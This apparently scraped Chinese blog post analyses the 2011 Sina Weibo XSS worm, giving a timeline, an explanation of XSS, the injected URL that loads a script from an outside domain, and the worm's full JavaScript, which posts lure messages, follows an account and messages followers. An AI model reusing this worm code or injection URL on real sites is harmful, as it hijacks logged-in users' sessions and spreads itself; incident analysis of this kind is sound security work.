http://blog.csdn.net/terryzero/article/details/6575078 6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博消息和私信,并自动关注一位名为hellosamy的用户。

  事件的经过线索如下:

  • 20:14,开始有大量带V的认证用户中招转发蠕虫
  • 20:30,2kt.cn中的病毒页面无法访问
  • 20:32,新浪微博中hellosamy用户无法访问
  • 21:02,新浪漏洞修补完毕

  新浪微博XSS事件

  在这里,想和大家介绍一下XSS攻击,XSS攻击又叫跨站脚本式攻击,你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。
首先,我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如果你 运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器 上的程序通话。这就是XSS攻击的最基本思路。
  再说一点,不一定是“记住你的用户名和密码”或是“自动登录”的方法,因为HTTP是无状态 的协 议,所以,几乎所有的网站都会在你的浏览器上设置cookie来记录状态,以便在其多个网页中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗 口运行,也就是说,你在同一个父进程下开的多个页面或窗口里都可以无偿使用你登录状态的。
  当然,你不必过于担心访问别的网站,在别的网站里的js代码会访问你的微博或是网银的登录页面。因为浏览器的安全性让js只能访问自己所在网站的资源。当然,这是浏览器做的检查,所以,浏览器并不一定会做这个检查,这就是为什么IE6是史上最不安全的浏览器,没有之一。只要你不在用IE6,应该没有这些问题。
  XSS攻击有两种方法,
  • 一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进 行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
  • 另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如 社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。

  这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn 短链接服务,将链接指向:

代码:

  1. http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

  注意,上面URL链接中的其实就是
代码:
< script src="//www.2kt.cn/images/t.js"></script>
攻击者并不一定是2kt.cn的人,因为.cn被国家严格管制,所以,我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。

其它

  • 初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
  • 史上最著名的XSS攻击是Yahoo Mail 的Yamanner蠕 虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术,这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送攻击代码给他人。
  • 为什么那个用户叫hellosamy,因为samy是第一个XSS攻击性的蠕虫病毒,在MySpace上传播。
  • 关于攻击的代码在这里:06.28_sina_XSS.txt (编码风格还是很不错的)
[javascript] view plaincopy
  1. function createXHR(){
  2. return window.XMLHttpRequest?
  3. new XMLHttpRequest():
  4. new ActiveXObject("Microsoft.XMLHTTP");
  5. }
  6. function getappkey(url){
  7. xmlHttp = createXHR();
  8. xmlHttp.open("GET",url,false);
  9. xmlHttp.send();
  10. result = xmlHttp.responseText;
  11. id_arr = '';
  12. id = result.match(/namecard=/"true/" title=/"[^/"]*/g);
  13. for(i=0;i<id.length;i++){
  14. sum = id[i].toString().split('"')[3];
  15. id_arr += sum + '||';
  16. }
  17. return id_arr;
  18. }
  19. function random_msg(){
  20. link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
  21. var msgs = [
  22. '郭美美事件的一些未注意到的细节:',
  23. '建党大业中穿帮的地方:',
  24. '让女人心动的100句诗歌:',
  25. '3D肉团团高清普通话版种子:',
  26. '这是传说中的神仙眷侣啊:',
  27. '惊爆!范冰冰艳照真流出了:',
  28. '杨幂被爆多次被潜规则:',
  29. '傻仔拿锤子去抢银行:',
  30. '可以监听别人手机的软件:',
  31. '个税起征点有望提到4000:'];
  32. var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
  33. msg = encodeURIComponent(msg);
  34. return msg;
  35. }
  36. function post(url,data,sync){
  37. xmlHttp = createXHR();
  38. xmlHttp.open("POST",url,sync);
  39. xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  40. xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
  41. xmlHttp.send(data);
  42. }
  43. function publish(){
  44. url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
  45. data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
  46. post(url,data,true);
  47. }
  48. function follow(){
  49. url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
  50. data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
  51. post(url,data,true);
  52. }
  53. function message(){
  54. url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
  55. ids = getappkey(url);
  56. id = ids.split('||');
  57. for(i=0;i<id.length - 1 & i<5;i++){
  58. msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
  59. msg = random_msg();
  60. msg = encodeURIComponent(msg);
  61. user = encodeURIComponent(encodeURIComponent(id[i]));
  62. data = 'content=' + msg + '&name=' + user + '&retcode=';
  63. post(msgurl,data,false);
  64. }
  65. }
  66. function main(){
  67. try{
  68. publish();
  69. }
  70. catch(e){}
  71. try{
  72. follow();
  73. }
  74. catch(e){}
  75. try{
  76. message();
  77. }
  78. catch(e){}
  79. }
  80. try{
  81. x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
  82. }
  83. catch(e){}
  84. main();
  85. var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

新浪微博XSS攻击事件的更多相关文章

  1. 新浪微博XSS攻击源代码下载(2012.06.28_sina_XSS.txt)

    function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Mi ...

  2. XSS第四节,XSS攻击实例(一)

    在开始实例的讲解之前,先看一下XSS的危害情况,第一张图中说明和XSS相关的CVE漏洞有7417个(http://web.nvd.nist.gov/view/vuln/search-results?q ...

  3. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  4. WEB安全测试之XSS攻击

    目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...

  5. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  6. 前端安全系列(一):如何防止XSS攻击?

    原文:https://my.oschina.net/meituantech/blog/2218539 前端安全 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全 ...

  7. XSS 防范XSS 攻击的措施

    XssSniper--0KEE TEAM               XssSniper--0KEE TEAM XssSniper 扩展介绍 一直以来,隐式输出的DomXSS漏洞难以被传统的扫描工具发 ...

  8. 转:前端安全之XSS攻击

    前端安全 原文链接:https://www.freebuf.com/articles/web/185654.html 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企 ...

  9. 【网络安全】给你讲清楚什么是XSS攻击

    给你讲清楚什么是XSS攻击 1. 什么是XSS攻击 跨站脚本攻击(Cross Site Scripting)本来的缩写为CSS,为了与层叠样式表(Cascading Style Sheets,CSS) ...

随机推荐

  1. bzoj 1303: [CQOI2009]中位数图 数学

    1303: [CQOI2009]中位数图 Time Limit: 20 Sec  Memory Limit: 256 MB 题目连接 http://www.lydsy.com/JudgeOnline/ ...

  2. python相对包导入报“Attempted relative import in non-package”错误

    文章是从stackoverflow翻译过来的,原文地址:Relative imports for the billionth time 本文要在原理上解决  python当中相对包导入出现的问题. 问 ...

  3. When to use static method in a java class

    First , please understand its feature : * no need to instantiate a instance, i.e. simply you can jus ...

  4. switch语句的基本使用

    switch是一个多分支的选择语句. 1.基本格式: switch(整型表达式){              case  整型字面量: ...... default  : } 解释: 1)整型字面量可 ...

  5. erlang 大神

    http://blog.csdn.net/erlib/article/details/46655905

  6. [转]Oracle dblink调用函数报ORA-00904 标识符无效

    新建oracle的database link时,提示错误“ORA-12169: TNS: 指定为连接标识符的 Net 服务名太长”, 网上查了下,是因为目标oracle是集群,连接字符串过长,超过25 ...

  7. Python学习(四)数据结构 —— str

    Python 字符串 str 本章大致介绍了 Python 的字符串类型 str,包括字符串的赋值及转义.字符串运算符.字符串格式化输出 以及 一些字符串的内建函数等. 字符串赋值及转义 我们可以使用 ...

  8. TensorFlow进阶(六)---模型保存与恢复、自定义命令行参数

    模型保存与恢复.自定义命令行参数. 在我们训练或者测试过程中,总会遇到需要保存训练完成的模型,然后从中恢复继续我们的测试或者其它使用.模型的保存和恢复也是通过tf.train.Saver类去实现,它主 ...

  9. Tensorflow 之 name/variable_scope 变量管理

    name/variable_scope 的作用 充分理解 name / variable_scope TensorFlow 入门笔记 当一个神经网络比较复杂.参数比较多时,就比较需要一个比较好的方式来 ...

  10. JavaScript获得页面区域大小的代码

    var Client = {      viewportWidth: function() {        return self.innerWidth || (document.documentE ...